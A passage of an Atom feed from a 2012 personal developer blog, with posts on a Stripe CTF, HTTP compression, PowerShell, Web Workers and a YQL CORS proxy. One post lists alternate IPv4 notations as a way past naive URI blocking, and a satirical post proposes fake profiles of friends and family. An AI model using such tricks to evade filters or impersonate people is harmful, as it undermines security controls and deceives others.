		<id>https://deletethis.net/dave/2012-08/Web+Security+Contest+-+Stripe+CTF/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Stripe is running a &lt;a href=&quot;https://stripe-ctf.com/about&quot;&gt;web security capture the flag&lt;/a&gt; - a series of increasingly difficult web security exploit challenges. &lt;a href=&quot;https://stripe-ctf.com/progress/SequelGuy&quot;&gt;I&#39;ve finished it&lt;/a&gt; and had a lot of fun. Working on a web browser I knew the theory of these various web based attacks, but this was my first chance
    to put theory into practice with:
  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;No adverse consequences
    &lt;/li&gt;&lt;li&gt;Knowledge that there is a fun security exploit to find
    &lt;/li&gt;&lt;li&gt;Access to the server side source code
    &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;
    Here&#39;s a blog post on the &lt;a href=&quot;https://blog.gregbrockman.com/2012/08/system-design-stripe-capture-the-flag/&quot;&gt;CTF behind the scenes setup&lt;/a&gt; which has many impressive features including
    phantom users that can be XSS/CSRF&#39;ed.
  &lt;/p&gt;&lt;p&gt;
    I&#39;ll have another post on my difficulties and answers for the CTF levels after the contest is over on Wed, but if you&#39;re looking for hints, try out the &lt;a href=&quot;https://answers.stripe.com/chat#ctf&quot;&gt;CTF chatroom&lt;/a&gt; or the &lt;a href=&quot;https://answers.stripe.com/chat#level4&quot;&gt;level specific CTF chatroom&lt;/a&gt;.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>HTTP Compression Documentation Reference</title>
		<link href="https://deletethis.net/dave/2012-06/HTTP+Compression+Documentation+Reference/"/>
		<updated>2012-06-13T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-06/HTTP+Compression+Documentation+Reference/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  There&#39;s a lot of name reuse in HTTP compression so I&#39;ve made the following to help myself keep it straight.
  &lt;table border=&quot;1&quot;&gt;&lt;tr&gt;&lt;th&gt;&lt;a href=&quot;http://www.iana.org/assignments/http-parameters/http-parameters.xml&quot;&gt;HTTP Content Coding Token&lt;/a&gt;&lt;/th&gt;&lt;td&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc2616.html#section-3.5&quot;&gt;gzip&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc2616.html#section-3.5&quot;&gt;deflate&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc2616.html#section-3.5&quot;&gt;compress&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;td&gt;
        An encoding format produced by the file compression program &quot;gzip&quot; (GNU zip)
      &lt;/td&gt;&lt;td&gt;
        The &quot;zlib&quot; format as described in RFC 1950.
      &lt;/td&gt;&lt;td&gt;
        The encoding format produced by the common UNIX file compression program &quot;compress&quot;.
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;
        Data Format
      &lt;/th&gt;&lt;td&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc1952.html&quot;&gt;GZIP file format&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc1950.html&quot;&gt;ZLIB Compressed Data Format&lt;/a&gt;&lt;/td&gt;&lt;td&gt;
        The &lt;a href=&quot;http://en.wikipedia.org/wiki/Compress&quot;&gt;compress program&#39;s&lt;/a&gt; file format
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;
        Compression Method
      &lt;/th&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc1951.html#page-6&quot;&gt;Deflate compression method&lt;/a&gt;&lt;/td&gt;&lt;td&gt;
        LZW
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;td colspan=&quot;2&quot;&gt;
        Deflate consists of &lt;a href=&quot;http://en.wikipedia.org/wiki/LZ77&quot;&gt;LZ77&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Huffman_coding&quot;&gt;Huffman coding&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;p&gt;
    Compress doesn&#39;t seem to be supported by popular current browsers, possibly due to its past with patents.
  &lt;/p&gt;&lt;p&gt;
    Deflate isn&#39;t done correctly all the time. &lt;a href=&quot;http://stackoverflow.com/questions/9170338/why-are-major-web-sites-using-gzip/9186091#9186091&quot;&gt;Some servers would send the deflate data
    format&lt;/a&gt; instead of the zlib data format and at least &lt;a href=&quot;http://stackoverflow.com/a/2541174&quot;&gt;some versions of Internet Explorer expect deflate data format&lt;/a&gt; instead of zlib data format.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Application Protocols in Windows 8</title>
		<link href="https://deletethis.net/dave/2012-06/Application+Protocols+in+Windows+8/"/>
		<updated>2012-06-12T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-06/Application+Protocols+in+Windows+8/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  In Windows 8 you can still &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa767914(v=VS.85).aspx&quot;&gt;register a desktop application to handle a particular URI scheme&lt;/a&gt;, but now you can also
  &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/apps/hh452686.aspx&quot;&gt;register a Metro Win8 application to handle a particular URI scheme&lt;/a&gt;. No more manually modifying the registry - now
  there&#39;s pretty UI in VS to handle this.
&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Changing Windows Live IDs</title>
		<link href="https://deletethis.net/dave/2012-06/Changing+Windows+Live+IDs/"/>
		<updated>2012-06-06T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-06/Changing+Windows+Live+IDs/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Use of my old Hotmail account has really snuck up on me as I end up caring more and more about all of the services with which it is associated. The last straw is &lt;a href=&quot;http://blogs.msdn.com/b/b8/archive/2011/09/26/signing-in-to-windows-8-with-a-windows-live-id.aspx&quot;&gt;Windows 8 login&lt;/a&gt;, but previous straws include Xbox, Zune, SkyDrive, and my Windows 7 Phone.
    I like the features and sync&#39;ing associated with the Windows Live ID, but I don&#39;t like my old, spam filled, hotmail email address on the Live ID account.
  &lt;/p&gt;&lt;p&gt;
    A coworker told me about &lt;a href=&quot;http://pablodiaz.pro/?p=11&quot;&gt;creating a Live ID from a custom domain&lt;/a&gt;, which sounded like just the ticket for me. Following the instructions above I was able
    to create a new deletethis.net Live ID but the next step of actually using this new Live ID was much more difficult. My first hope was there would be some way to link my new and old Live IDs so
    as to make them interchangeable. As it turns out there is a way to &lt;a href=&quot;http://timheuer.com/blog/archive/2007/10/26/link-your-windows-live-accounts.aspx&quot;&gt;link Live IDs&lt;/a&gt; but all that does
    is make it easy to switch between accounts on Live Mail, SkyDrive and some other webpages.
  &lt;/p&gt;&lt;p&gt;
    Instead one must change over each service or start over depending on the service:
  &lt;/p&gt;&lt;dl&gt;&lt;dt&gt;
      Xbox
    &lt;/dt&gt;&lt;dd&gt;
      In the &lt;a href=&quot;http://support.xbox.com/en-US/billing-and-subscriptions/account-management/manage-live-id#3c34347c60454eff8dd78d8b34be7a6d&quot;&gt;Xbox 360 system menu you can change the Live ID&lt;/a&gt;
      associated with your gamertag. This worked fine for me and I got an email telling me about the transfer of my Microsoft Points.
    &lt;/dd&gt;&lt;dt&gt;
      Zune
    &lt;/dt&gt;&lt;dd&gt;
      There&#39;s no way to do this for the Zune specifically, however changing over your Xbox account &lt;a href=&quot;http://answers.microsoft.com/en-us/zune/forum/account-net/zune-account-associated-with-false-e-mail/0abcf8b5-be0f-47b0-a56f-0bfe1fdc9e9b&quot;&gt;also transfers over all your Zune purchased
      content&lt;/a&gt;. I don&#39;t have a Zune Pass so I can&#39;t confirm that, but all of my previously purchased television shows transferred over successfully.
    &lt;/dd&gt;&lt;dt&gt;
      Windows 7 Phone
    &lt;/dt&gt;&lt;dd&gt;
      To change the main Live ID associated with your phone, &lt;a href=&quot;http://support.microsoft.com/kb/2430020&quot;&gt;reset your phone to factory default&lt;/a&gt; and start over. All purchased applications are
      lost. Had I purchased any applications I would have been pissed, but instead I was just irritated that I had to reset my phone.
    &lt;/dd&gt;&lt;dt&gt;
      Mail
    &lt;/dt&gt;&lt;dd&gt;
      I don&#39;t use my Hotmail account for anything and it only sits and collects spam. Accordingly I didn&#39;t attempt switching this over.
    &lt;/dd&gt;&lt;dt&gt;
      SkyDrive
    &lt;/dt&gt;&lt;dd&gt;
      I didn&#39;t have much in my SkyDrive account. I downloaded all files as a zip and then manually uploaded them to the new account.
    &lt;/dd&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Crowdsource These Projects</title>
		<link href="https://deletethis.net/dave/2012-05/Crowdsource+These+Projects/"/>
		<updated>2012-05-22T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-05/Crowdsource+These+Projects/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I keep seeing crowdsource projects with big names that I actually want to back:
  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.pledgemusic.com/projects/benfoldsfive&quot;&gt;New Ben Folds Five album&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.kickstarter.com/projects/66710809/double-fine-adventure&quot;&gt;New Double Fine Adventure game&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.kickstarter.com/projects/amandapalmer/amanda-palmer-the-new-record-art-book-and-tour&quot;&gt;New Amanda Palmer album&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.kickstarter.com/projects/spaceventure/two-guys-spaceventure-by-the-creators-of-space-que&quot;&gt;New Space Quest (like) game&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Permanently Add Path to System PATH Environment Variable in PowerShell</title>
		<link href="https://deletethis.net/dave/2012-05/Permanently+Add+Path+to+System+PATH+Environment+Variable+in+PowerShell/"/>
		<updated>2012-05-17T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-05/Permanently+Add+Path+to+System+PATH+Environment+Variable+in+PowerShell/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  According to &lt;a href=&quot;http://sequelguy.tumblr.com/post/19438594681&quot;&gt;MSDN&lt;/a&gt; the proper way to permanently add a path to your system&#39;s PATH environment variable is by modifying a registry value.
  Accordingly this is easily represented in a PowerShell script that first checks if the path provided is already there and otherwise appends it:
  &lt;pre&gt;&lt;code&gt;param([Parameter(Mandatory = $true)] [string] $Path);&lt;br&gt;$FullPathOriginal = (gp &quot;HKLM:&#92;System&#92;CurrentControlSet&#92;Control&#92;Session Manager&#92;Environment&quot;).Path;&lt;br&gt;if (!($FullPathOriginal.split(&quot;;&quot;) | ?{ $_ -like $Path })) {&lt;br&gt;    sp &quot;HKLM:&#92;System&#92;CurrentControlSet&#92;Control&#92;Session Manager&#92;Environment&quot; -name Path -value ($FullPathOriginal + &quot;;&quot; +&lt;br&gt; $Path);&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>PowerShell Equivalents for JavaScript Array Functions</title>
		<link href="https://deletethis.net/dave/2012-05/PowerShell+Equivalents+for+JavaScript+Array+Functions/"/>
		<updated>2012-05-15T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-05/PowerShell+Equivalents+for+JavaScript+Array+Functions/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;h4&gt;
    Built-in
  &lt;/h4&gt;&lt;dl&gt;&lt;dt&gt;
      map
    &lt;/dt&gt;&lt;dd&gt;
      input | %{ expression($_) }
    &lt;/dd&gt;&lt;dt&gt;
      forEach
    &lt;/dt&gt;&lt;dd&gt;
      input | %{ [void]expression($_) }
    &lt;/dd&gt;&lt;dt&gt;
      filter
    &lt;/dt&gt;&lt;dd&gt;
      input | ?{ expression($_) }
    &lt;/dd&gt;&lt;dt&gt;
      indexOf
    &lt;/dt&gt;&lt;dd&gt;
      input.indexOf(value)
    &lt;/dd&gt;&lt;/dl&gt;&lt;h4&gt;
    Close to built-in
  &lt;/h4&gt;&lt;dl&gt;&lt;dt&gt;
      some
    &lt;/dt&gt;&lt;dd&gt;
      if (input | ?{ expression($_) }) { ... }
    &lt;/dd&gt;&lt;dt&gt;
      every
    &lt;/dt&gt;&lt;dd&gt;
      if (-not input | ?{ !expression($_) }) { ... }
    &lt;/dd&gt;&lt;dt&gt;
      lastIndexOf
    &lt;/dt&gt;&lt;dd&gt;
      [array]::lastIndexOf(input, value)
    &lt;/dd&gt;&lt;/dl&gt;&lt;h4&gt;
    Write it yourself
  &lt;/h4&gt;&lt;dl&gt;&lt;dt&gt;
      reduce
    &lt;/dt&gt;&lt;dd&gt;
      function reduce($fn, $a, $init) { $s = $init; $a | %{ $s = &amp;amp;$fn $s $_; }; $s; }
    &lt;/dd&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Favorite Windows 8 Feature: Intra-Line Tab Completion</title>
		<link href="https://deletethis.net/dave/2012-05/Favorite+Windows+8+Feature-+Intra-Line+Tab+Completion/"/>
		<updated>2012-05-09T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-05/Favorite+Windows+8+Feature-+Intra-Line+Tab+Completion/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Fixed in Windows 8 is intra-line tab completion - you can try it out on the &lt;a href=&quot;http://windows.microsoft.com/en-US/windows-8/consumer-preview&quot;&gt;Windows 8 Consumer Preview&lt;/a&gt; now. If you open
    a command prompt, type a command, then move your cursor back into a token in the middle of the command and tab complete, the tab completion works on that whitespace delimited token and doesn&#39;t
    erase all text following the cursor. Like it does in pre Windows 8. And annoys the hell out of me. Yay!
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Play Fez</title>
		<link href="https://deletethis.net/dave/2012-05/Play+Fez/"/>
		<updated>2012-05-07T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-05/Play+Fez/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;iframe src=&quot;http://player.vimeo.com/video/40269839?color=ff9933&quot; width=&quot;500&quot; height=&quot;281&quot; frameborder=&quot;0&quot; webkitallowfullscreen=&quot;&quot; mozallowfullscreen=&quot;&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;p&gt;
    I&#39;m done playing &lt;a href=&quot;http://polytroncorporation.com/what-is-fez&quot;&gt;Fez&lt;/a&gt;. The style is atmospheric retro nastalgia and on the surface the gameplay is standard 2D platformer with one
    interesting Flatland style game mechanic but dig deeper to find Myst style puzzles. Despite the following I thoroughly enjoyed the game and would recommend it to anyone intrigued by the previous.
    Five eighths through the game I ran into one of the game&#39;s infamous &lt;a href=&quot;http://polytroncorporation.com/fez-issues&quot;&gt;Fez save game breaking issues&lt;/a&gt;, but I enjoyed the game enough that I
    started over before any patches were released and had no further issues.
  &lt;/p&gt;&lt;p&gt;
    While playing the game I created some tools to help keep track of &lt;a href=&quot;http://deletethis.net/dave/dev/fez/&quot;&gt;my Fez notes (spoilers)&lt;/a&gt; including a &lt;a href=&quot;http://deletethis.net/dave/dev/fez/pixelatedDataUriGenerator.html&quot;&gt;Pixelated Image Creator&lt;/a&gt; that makes it easy to generate data URIs for large, black and white pixelated images, and
    (spoilers) a &lt;a href=&quot;http://deletethis.net/dave/dev/fez/fezTransliteration.html&quot;&gt;Fez Transliteration Tool&lt;/a&gt; to help me translate the in-game writing system.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Why Did This Work?</title>
		<link href="https://deletethis.net/dave/2012-03/Why+Did+This+Work-/"/>
		<updated>2012-03-23T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-03/Why+Did+This+Work-/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Do we have a word or phrase to describe the following situation: You code up something complicated and it compiles and works on the first try. You then spend the next ten minutes trying to figure
    out what&#39;s actually broken because it shouldn&#39;t be this easy.
  &lt;/p&gt;&lt;p&gt;
    Or in meme form:&lt;br&gt;&lt;a href=&quot;http://www.quickmeme.com/meme/3ofxwf/&quot;&gt;&lt;img src=&quot;http://i.qkme.me/3ofxwf.jpg&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Alternate IPv4 Forms - URI Host Syntax Notes</title>
		<link href="https://deletethis.net/dave/2012-03/Alternate+IPv4+Forms+-+URI+Host+Syntax+Notes/"/>
		<updated>2012-03-14T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-03/Alternate+IPv4+Forms+-+URI+Host+Syntax+Notes/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    By the &lt;a href=&quot;http://tools.ietf.org/html/rfc3986#section-7.4&quot;&gt;URI RFC&lt;/a&gt; there is only one way to represent a particular IPv4 address in the host of a URI. This is the standard dotted decimal
    notation of four bytes in decimal with no leading zeroes delimited by periods. And no leading zeros are allowed which means there&#39;s only one textual representation of a particular IPv4 address.
  &lt;/p&gt;&lt;p&gt;
    However as discussed in the URI RFC, there are other forms of IPv4 addresses that although not officially allowed are generally accepted. Many implementations used &lt;a href=&quot;http://www.freebsd.org/cgi/man.cgi?query=inet_aton&amp;amp;apropos=0&amp;amp;sektion=0&amp;amp;manpath=FreeBSD+9.0-RELEASE&amp;amp;arch=default&amp;amp;format=html&quot;&gt;inet_aton&lt;/a&gt; to parse the address from the URI which accepts more
    than just dotted decimal. Instead of dotted decimal, each dot delimited part can be in decimal, octal (if preceded by a &#39;0&#39;) or hex (if preceded by &#39;0x&#39; or &#39;0X&#39;). And that&#39;s each section
    individually - they don&#39;t have to match. And there need not be 4 parts: there can be between 1 and 4 (inclusive). In case of less than 4, the last part in the string represents all of the left
    over bytes, not just one.
  &lt;/p&gt;&lt;p&gt;
    For example the following are all equivalent:
  &lt;/p&gt;&lt;dl&gt;&lt;dt&gt;
      192.168.1.1
    &lt;/dt&gt;&lt;dd&gt;
      Standard dotted decimal form
    &lt;/dd&gt;&lt;dt&gt;
      0300.0250.01.01
    &lt;/dt&gt;&lt;dd&gt;
      Octal
    &lt;/dd&gt;&lt;dt&gt;
      0xC0.0XA8.0x1.0X1
    &lt;/dt&gt;&lt;dd&gt;
      Hex
    &lt;/dd&gt;&lt;dt&gt;
      192.168.257
    &lt;/dt&gt;&lt;dd&gt;
      Fewer parts
    &lt;/dd&gt;&lt;dt&gt;
      0300.0XA8.257
    &lt;/dt&gt;&lt;dd&gt;
      All of the above
    &lt;/dd&gt;&lt;/dl&gt;&lt;p&gt;
    The bread and butter of URI related security issues is when one part of the system disagrees with another about the interpretation of the URI. So this non-standard, non-normal form syntax has
    been been a great source of security issues in the past. Its mostly well known now (&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ie/ms775098(v=vs.85).aspx&quot;&gt;CreateUri&lt;/a&gt; normalizes these
    non-normal forms to dotted decimal), but occasionally a good tool for bypassing naive URI blocking systems.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Privacy through Obscurity</title>
		<link href="https://deletethis.net/dave/2012-03/Privacy+through+Obscurity/"/>
		<updated>2012-03-09T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-03/Privacy+through+Obscurity/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    With Facebook changing its privacy policy and settings so frequently and just generally the huge amount of social sites out there, for many of us it is far too late to ensure our name doesn&#39;t
    show up with unfortunate results in web searches. Information is too easily copyable and archive-able to make removing these results a viable option, so clearly the solution is to create more
    data.
  &lt;/p&gt;&lt;p&gt;
    Create fake profiles on Facebook using your name but with a different photo, different date of birth, and different hometown. Create enough doppelgangers to add noise to the search results for
    your name. And have them share embarrassing stories on their blogs. The goal is to ensure that the din of your alternates drowns out anything embarrassing showing up for you.
  &lt;/p&gt;&lt;p&gt;
    Although it will look suspicious if you&#39;re the only name on Google with such chaff. So clearly you must also do this for your friends and family. Really you&#39;ll be doing them a favor.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>HTML5 Table Flipper Experiment</title>
		<link href="https://deletethis.net/dave/2012-03/HTML5+Table+Flipper+Experiment/"/>
		<updated>2012-03-02T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-03/HTML5+Table+Flipper+Experiment/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    The goal of this experiment was to combine the &lt;a href=&quot;http://knowyourmeme.com/memes/flipping-tables-%E2%95%AF%E2%96%A1%EF%BC%89%E2%95%AF%EF%B8%B5-%E2%94%BB%E2%94%81%E2%94%BB&quot;&gt;flipping tables
    emoticons&lt;/a&gt; with the &lt;a href=&quot;http://www.youtube.com/watch?v=gAYL5H46QnQ&amp;amp;ob=av3e&quot;&gt;Threw It On The Ground video&lt;/a&gt; using shiny new HTML5-ish features and the end result is &lt;a href=&quot;http://deletethis.net/dave/dev/flip/&quot;&gt;the table flipper flipping the Threw It On the Ground video&lt;/a&gt;.
  &lt;/p&gt;&lt;p&gt;
    The table flipper emoticon is CSS before content that changes on hover. Additionally on hover a CSS transform is applied to flip the video upside down several times and move it to the right and
    there&#39;s a CSS transition to animate the flipping. The only issue I ran into is that (at least on Windows) Flash doesn&#39;t like to have CSS transform rotations applied to it. So to get the most out
    of the flip experiment you must &lt;a href=&quot;http://www.youtube.com/html5&quot;&gt;opt-in to HTML5 video on YouTube&lt;/a&gt;. And of course you must use a browser that supports the various things I just
    mentioned, like the latest Chrome (or not yet released IE10).
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Glitch Helperator</title>
		<link href="https://deletethis.net/dave/2012-02/Glitch+Helperator/"/>
		<updated>2012-02-29T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-02/Glitch+Helperator/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I&#39;ve been working on the &lt;a href=&quot;http://deletethis.net/dave/dev/glitch-helperator/&quot;&gt;Glitch Helperator&lt;/a&gt;. It is a collection of tools and things I&#39;ve put together for &lt;a href=&quot;http://www.glitch.com&quot;&gt;Glitch&lt;/a&gt;. It has a few features that I haven&#39;t seen elsewhere including:
  &lt;/p&gt;&lt;dl&gt;&lt;dt&gt;
      Favorite Streets
    &lt;/dt&gt;&lt;dd&gt;
      A notebook in which you can save information about interesting streets and later use it to find your way back to them.
    &lt;/dd&gt;&lt;dt&gt;
      Birthday
    &lt;/dt&gt;&lt;dd&gt;
      Find out how old your Glitch is and the date of your next birthday in Glitch time or Earth time.
    &lt;/dd&gt;&lt;dt&gt;
      API Update History
    &lt;/dt&gt;&lt;dd&gt;
      A history of changes to the streets, skills and achievements of Glitch noting when new ones are added and when existing ones are changed.
    &lt;/dd&gt;&lt;/dl&gt;It also has an interactive skill tree, find nearest feature tool, and achievement display. If you play Glitch, check it out.
&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Client Side Cross Domain Data YQL Hack</title>
		<link href="https://deletethis.net/dave/2012-02/Client+Side+Cross+Domain+Data+YQL+Hack/"/>
		<updated>2012-02-27T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-02/Client+Side+Cross+Domain+Data+YQL+Hack/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    One of the more limiting issues of writing client side script in the browser is the same origin limitations of XMLHttpRequest. The latest version of all browsers support a subset of CORS to allow
    servers to opt-in particular resources for cross-domain access. Since IE8 there&#39;s &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/cc288060%28v=VS.85%29.aspx&quot;&gt;XDomainRequest&lt;/a&gt; and in all other
    browsers (including &lt;a href=&quot;http://blogs.msdn.com/b/ie/archive/2012/02/09/cors-for-xhr-in-ie10.aspx&quot;&gt;IE10&lt;/a&gt;) there&#39;s &lt;a href=&quot;http://www.w3.org/TR/XMLHttpRequest2/#the-withcredentials-attribute&quot;&gt;XHR L2&#39;s cross-origin request features&lt;/a&gt;. But the vast majority of resources out on the web do not opt-in using CORS
    headers and so client side only web apps like a podcast player or a feed reader aren&#39;t doable.
  &lt;/p&gt;&lt;p&gt;
    One hack-y way around this I&#39;ve found is to use &lt;a href=&quot;http://developer.yahoo.com/yql/console/&quot;&gt;YQL&lt;/a&gt; as a CORS proxy. YQL applies the CORS header to all its responses and among its features
    it allows a caller to request an arbitrary XML, HTML, or JSON resource. So my network helper script first attempts to access a URI directly using XDomainRequest if that exists and XMLHttpRequest
    otherwise. If that fails it then tries to use XDR or XHR to access the URI via YQL. I wrap my URIs in the following manner, where type is either &quot;html&quot;, &quot;xml&quot;, or &quot;json&quot;:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;        yqlRequest = function(uri, method, type, onComplete, onError) {&lt;br&gt;            var yqlUri = &quot;http://query.yahooapis.com/v1/public/yql?q=&quot; + &lt;br&gt;                encodeURIComponent(&quot;SELECT * FROM &quot; + type + &#39; where url=&quot;&#39; + encodeURIComponent(uri) + &#39;&quot;&#39;);&lt;br&gt;&lt;br&gt;            if (type == &quot;html&quot;) {&lt;br&gt;                yqlUri += encodeURIComponent(&quot; and xpath=&#39;/*&#39;&quot;);&lt;br&gt;            }&lt;br&gt;            else if (type == &quot;json&quot;) {&lt;br&gt;                yqlUri += &quot;&amp;amp;callback=&amp;amp;format=json&quot;;&lt;br&gt;            }&lt;br&gt;            ...&lt;br&gt;&lt;br&gt;&lt;/code&gt;&lt;/pre&gt;This
  also means I can get JSON data itself without having to go through JSONP.
&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Web Worker Initialization Race</title>
		<link href="https://deletethis.net/dave/2012-02/Web+Worker+Initialization+Race/"/>
		<updated>2012-02-24T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-02/Web+Worker+Initialization+Race/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Elaborating on a previous brief post on the topic of &lt;a href=&quot;http://deletethis.net/dave/?uri=http%3A%2F%2Flists.whatwg.org%2Fpipermail%2Fhelp-whatwg.org%2F2010-August%2F000606.html&quot;&gt;Web Worker
    initialization race conditions&lt;/a&gt;, there&#39;s two important points to avoid a race condition when setting up a Worker:
  &lt;/p&gt;&lt;ol&gt;&lt;li&gt;The parent starts the communication posting to the worker.
    &lt;/li&gt;&lt;li&gt;The worker sets up its message handler in its first synchronous block of execution.
    &lt;/li&gt;&lt;/ol&gt;&lt;p&gt;
    For example the following has no race becaues the spec guarentees that messages posted to a worker during its first synchronous block of execution will be queued and handled after that block. So
    the worker gets a chance to setup its onmessage handler. No race:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;&#39;parent.js&#39;:&lt;br&gt;   var worker = new Worker();&lt;br&gt;   worker.postMessage(&quot;initialize&quot;);&lt;br&gt;&lt;br&gt;&#39;worker.js&#39;:&lt;br&gt;   onmessage = function(e) {&lt;br&gt;      // ...&lt;br&gt;   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    The following has a race because there&#39;s no guarentee that the parent&#39;s onmessage handler is setup before the worker executes postMessage. Race (violates 1):
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;&#39;parent.js&#39;:&lt;br&gt;   var worker = new Worker();&lt;br&gt;   worker.onmessage = function(e) {&lt;br&gt;      // ...&lt;br&gt;   };&lt;br&gt;&lt;br&gt;&#39;worker.js&#39;:&lt;br&gt;   postMessage(&quot;initialize&quot;);&lt;br&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    The following has a race because the worker has no onmessage handler set in its first synchronous execution block and so the parent&#39;s postMessage may be sent before the worker sets its onmessage
    handler. Race (violates 2):
